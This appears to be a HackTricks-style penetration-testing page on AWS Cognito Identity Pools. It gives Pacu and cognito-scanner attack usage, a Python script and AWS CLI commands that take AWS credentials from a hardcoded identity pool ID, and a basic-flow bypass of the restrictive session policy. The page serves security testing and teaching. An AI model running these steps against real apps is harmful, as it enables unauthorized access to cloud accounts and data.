# Cognito Identity Pools

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include:

- Amazon Cognito user pools
- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
- Providers compliant with OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) identity providers
- Developer authenticated identities

```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
    IdentityPoolId=identity_pool_id,
    Roles={
        'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
        'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
    }
)

# Print the response from AWS
print(response)
```

### Cognito Sync

To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs.

This is **useful to keep information of a user** (who will be always using the same Identity ID).

Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...).

### Tools for pentesting

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.

#### Usage

Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```

Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:

```bash
Pacu (new:test) > run cognito__enum
```

- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.

#### Installation

```bash
$ pip install cognito-scanner
```

#### Usage

```bash
$ cognito-scanner --help
```

For more information check https://github.com/padok-team/cognito-scanner

## Accessing IAM Roles

### Unauthenticated

The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable).

> [!TIP]
> The **IAM Cognito unauthenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`

If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:

```python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
    print(f"Not valid id: {id_pool_id}")
    exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())
```

Or you could use the following **aws cli commands**:

```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```

> [!WARNING]
> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section.

### Enhanced vs Basic Authentication flow

The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/index.html#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services).

However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**.

```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
```

> [!WARNING]
> If you receive this **error**, it's because the **basic flow is not enabled (default)**

> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`

Having a set of IAM credentials you should check [which access you have](../../index.html#whoami) and try to [escalate privileges](../../aws-privilege-escalation/index.html).

### Authenticated

> [!NOTE]
> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials.

There could also be **roles** available for **authenticated users accessing the Identity Poo**l.

For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**.

> [!TIP]
> The **IAM Cognito athenticated role created via is called** by default `Cognito_<Identity Pool name>Auth_Role`

Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).

<pre class="language-bash"><code class="lang-bash">
# Updated format
aws cognito-identity get-id \
  --identity-pool-id <identity_pool_id> \
  --logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
  --identity-id <identity_id> \
  --logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
  --identity-id <identity_id> \
  --custom-role-arn <role_arn> \
  --logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>

> **Deprecated format** — these may no longer work with current AWS CLI:
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
  --identity-pool-id <identity_pool_id> \
  --logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
  --identity-id <identity_id> \
  --logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
  --identity-id <identity_id> \
  --custom-role-arn <role_arn> \
  --logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre>

> [!WARNING]
> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**.

{{#include ../../../../banners/hacktricks-training.md}}




